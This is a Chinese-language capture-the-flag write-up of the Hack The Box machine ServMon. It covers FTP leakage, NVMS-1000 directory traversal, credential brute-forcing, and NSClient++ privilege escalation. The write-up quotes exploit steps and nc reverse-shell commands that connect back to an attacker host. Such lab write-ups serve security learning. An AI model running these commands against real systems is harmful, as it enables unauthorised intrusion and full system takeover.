Hack The Box——ServMon

目錄

簡介

信息收集

漏洞發現

漏洞利用

權限提升

總結


簡介

這臺靶機也是比較簡單,但是網絡環境很不好,8443端口都網頁加載的特別慢,會影響滲透體驗。該靶機通過ftp獲取到泄漏的信息,利用目錄遍歷漏洞獲取到密碼明文,通過枚舉獲得ssh用戶名和密碼,最後利用NSClient++提升至system權限。

信息收集

使用nmap -A --max-rate 10000 -T5 -sC 10.10.10.184掃描目標主機開放的端口和運行的服務,發現開啓了21,22,80,135,139,445等端口,如圖:

FTP服務運行匿名用戶登錄,查看FTP目錄發現存在Users目錄,查看目錄下的文件發現密碼信息(目前不清楚是什麼服務的密碼)存儲在Nathan桌面的Passwords.txt中,Nathan還有三項安全措施未完成,如圖:

從上圖可以看出密碼還未上傳,說明在Nathan的桌面下依然存在Passwords.txt,還未移除公共用戶對NVMS的訪問,未在SharePoint中放置機密文件。

訪問80端口Web服務,發現是NVMS登錄入口,需要用戶名和密碼,默認密碼已被修改。使用Google搜索發現NVMS-1000存在目錄遍歷漏洞(CVE-2019-20085)。

使用smbmap枚舉共享文件未成功,使用enum4linux枚舉目標主機信息未發現有用信息。搜索5666和6699端口已知漏洞,但對該靶機無效,訪問8443端口發現NSClient++頁面。

使用searchsploit搜索NSClient++相關漏洞,發現存在RCE和權限提升漏洞,如圖:

漏洞發現

在exploit-db找到NVMS-1000目錄遍歷漏洞的poc,測試發現存在該漏洞,如圖:

漏洞利用

然後讀取Nathan桌面下的密碼文件,如圖:

生成用戶名字典文件user.txt:

administrator
admin
guest
nathan
nadine

然後將密碼保存到文件passwd.txt。使用hydra枚舉用戶和密碼未成功,使用SMBrute也無法枚舉成功。然後使用metasploit枚舉成功獲得用戶名nadine的密碼,如圖:

再次使用smbmap和smbclient枚舉共享文件夾,仍沒有收穫。然後嘗試使用該用戶名和密碼登錄ssh,成功獲得用戶shell,如圖:

可以發現操作系統是Windows 10。

權限提升

使用systeminfo命令查看系統信息,發現沒有權限執行該命令。暫時先不考慮內核提權了,從前面收集到的信息發現NSClient++存在提權漏洞。查看漏洞信息/usr/share/exploitdb/exploits/windows/local/46802.txt,發現利用漏洞需要如下7步:

Exploit:
1. Grab web administrator password
- open c:\program files\nsclient++\nsclient.ini
or
- run the following that is instructed when you select forget password
	C:\Program Files\NSClient++>nscp web -- password --display
	Current password: SoSecret

2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler

3. Download nc.exe and evil.bat to c:\temp from attacking machine
	@echo off
	c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe

4. Setup listener on attacking machine
	nc -nlvvp 443

5. Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
	- foobar
		command = c:\temp\evil.bat

6. Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
	- foobar
		interval = 1m
		command = foobar

7. Restart the computer and wait for the reverse shell on attacking machine
	nc -nlvvp 443
	listening on [any] 443 ...
	connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
	Microsoft Windows [Version 10.0.17134.753]
	(c) 2018 Microsoft Corporation. All rights reserved.

	C:\Program Files\NSClient++>whoami
	whoami
	nt authority\system

首先執行第一步:獲取web administrator密碼,ew2x6SsGTxjRwXOT,如圖:

然後執行第二步,打開https://10.10.10.184:8443,然後登錄,如圖:

顯示不允許登錄,後來才發現配置文件中密碼下邊有允許的主機是127.0.0.1,看來需要將端口轉發到本地,直接使用ssh -L 8443:127.0.0.1:8443 [email protected]將端口轉發到本地,然後登錄成功,如圖:

然後啓用CheckExternalScripts和Scheduler模塊,如圖:

接着執行第三步,將nc.exe和惡意bat文件上傳到目標主機,bat文件爲使用nc反彈shell的cmd命令:c:/temp/nc.exe 10.10.14.45 443 -e cmd,如圖:

然後執行第四步,再本地開啓443端口的監聽,接着執行第五步,添加外部腳本,如圖:

點擊Add之後需要點擊Changes-->Save configuration繼續執行第六步,如圖:

同樣添加之後保存。然後點擊Control-->Reload,等待一會即可得到system權限的shell,如圖:

總結

靶機本身並不難,但是HTB的靶機的通病就是網絡環境太差。老是不穩定,而且玩家很多,有些惡意玩家會停止8443端口的服務,所以很煩。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章